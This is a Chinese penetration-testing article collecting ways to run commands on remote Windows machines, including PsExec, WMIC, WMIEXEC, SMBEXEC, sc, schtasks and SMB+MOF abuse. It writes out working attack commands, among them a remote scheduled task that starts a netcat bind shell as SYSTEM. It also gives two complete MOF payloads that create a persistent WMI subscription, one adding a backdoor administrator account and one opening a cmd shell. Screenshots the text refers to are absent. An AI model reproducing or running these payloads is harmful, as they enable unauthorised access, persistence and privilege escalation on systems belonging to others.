本文收集了一些渗透测试环境中经常使用到远程计算机程序执行的小技巧
IPC管道执行命令
依赖于Task scheduler
Wmic
依赖于135端口
Wmic是Windows Management Instrumentation的缩写,即Windows管理工具。通过Wmic可以查询系统信息并且可以在目标系统创建进程,如下图所示(因为当前计算机账户拥有控制远程机器的权限所以这里没有通过/user /password的参数指定用户名及密码):
Wmic不可以基于IPC。
Pstools
pstools提供了十二款小工具,最为常用的是psexe,通过它可以在远程机器上执行程序。并且它还有一个-c参数,通过此参数可以执行本地程序,psexec将指定程序拷贝到目标机器后会执行然后将其删除,用上去特别方便。psexec可以使用-u -p 参数指定用户名及密码的方式来通过远程主机的验证,也可以依赖于IPC管道,个人比较喜欢第二种方式,这样就不用为每一款小工具执行-u -p参数了。具体如下图所示:
psexec依赖于:
- 依赖于Admin$
- 自动安装远程服务
- 445端口
WMIEXEC.vbs
依赖于135端口
WMIEXEC旨在替代psexe,它具有与psexe相似的功能,但是不具有psexe的某些缺点:
- 依赖于Admin$共享
- psexe会首先自动在远程安装服务
它主要提供了半交互shell及单条命令执行两个功能。具体见下图:
PowershellWmi.ps1
没有成功,用空再看吧!Powershell remoting?参考
SMBEXEC
依赖于:
445端口
类似于psexe的自定义版,其修改了psexec自动安装服务器到Admin$下的特点,smbexec通过手动安装服务器文件到自定义的位置(这个位置需要在源码里修改),本文中使用的smbexec需要将服务器文件安装到C:\windows(这样就可以通过C$:\Windows来替代Admin$)。
sc
SC 是用于与服务控制管理器和服务进行通信的命令行程序。看很多教程直接创建一个cmd.exe的服务程序,其实这是错误的,因为所要创建服务的目标程序在编写的时候应该遵循着固定的代码框架不是任意一个程序都可以用来当做服务程序的。所以有必要的话可以自己写一个EXE程序,如果没有必要就用上面的方法吧。具体服务创建,开启及删除命令如下所示:
sc \\DC1 create test binpath = "c:\service.exe" obj= "centoso\administrator" passwrod= test
sc \\DC1 start test
sc \\DC1 delete test
schtasks
schtasks /create /tn foobar /tr "c:\nc.exe -lvp 4444 -e cmd.exe" /sc once /st 00:00 /S 10.0.0.3 /RU System (创建任务)
schtasks /run /tn foobar /S host (立即运行任务)
schtasks /delete /F /tn foobar /S host (删除任务)
执行结果如下所示:
SMB+MOF
其实就是利用了SMB可以传输文件的特性,所有通过文件替换所利用的小技巧都可以嫁接到SMB这来利用,比如DLL劫持。
前提条件:
- 有C:\Windows\System32\wbem\MOF的写权限
- Windows2003可以自动执行,Windows2008不可以
- 文件名为nullevt.mof,其他不可以
特点:
- nullevt.mof被再次覆盖之前一直在执行,很顽强。。。
- nullevt.mof如果编译通过会迁移到mof文件下的good文件夹中,并且权限改为只读。否则迁移到bad子文件夹中。
原理:MOF是Managed Object Format的缩写,翻译过来就是托管对象格式。通过MOF可以监控进程的创建与死亡,MOF提权或者说MOF命令执行利用的是Windows系统下在每分钟的指定时间点(由mof文件中的TargetInstance.Second指定,比如其值为5则表示在每分钟的第五秒执行)会以一个比较高的权限运行C:\Windows\System32\wbem\MOF目录下MOF文件。通过将CMD命令写入上述目录下的MOF文件中来达到提权或者命令执行的作用。下述代码添加用户的MOF文件:
#pragma namespace("\\\\.\\root\\subscription")
instance of __EventFilter as $EventFilter
{
EventNamespace = "Root\\Cimv2";
Name = "filtP2";
Query = "Select * From __InstanceModificationEvent "
"Where TargetInstance Isa \"Win32_LocalTime\" "
"And TargetInstance.Second = 5";
QueryLanguage = "WQL";
};
instance of ActiveScriptEventConsumer as $Consumer
{
Name = "consPCSV2";
ScriptingEngine = "JScript";
ScriptText =
"var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user admin Abc@123 /add\")\nvar WSH1 = new ActiveXObject(\"WScript.Shell\")\nWSH1.run(\"net.exe localgroup administrators admin /add\")";
};
instance of __FilterToConsumerBinding
{
Consumer = $Consumer;
Filter = $EventFilter;
};
并且通过上述方式添加的用户
具体实践步骤如下所示:
除了添加用户之外还可以使用期执行任意命令比如开一个cmdshell:
#pragma namespace("\\\\.\\root\\subscription")
instance of __EventFilter as $EventFilter
{
EventNamespace = "Root\\Cimv2";
Name = "filtP2";
Query = "Select * From __InstanceModificationEvent "
"Where TargetInstance Isa \"Win32_LocalTime\" "
"And TargetInstance.Second = 5";
QueryLanguage = "WQL";
};
instance of ActiveScriptEventConsumer as $Consumer
{
Name = "consPCSV2";
ScriptingEngine = "JScript";
ScriptText =
"var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"C:\\c.exe -lvp 4444 -e cmd.exe\")";
};
instance of __FilterToConsumerBinding
{
Consumer = $Consumer;
Filter = $EventFilter;
};
在这里把nc.exe名字改为c.exe防止\与n结合发生转义。具体操作如下: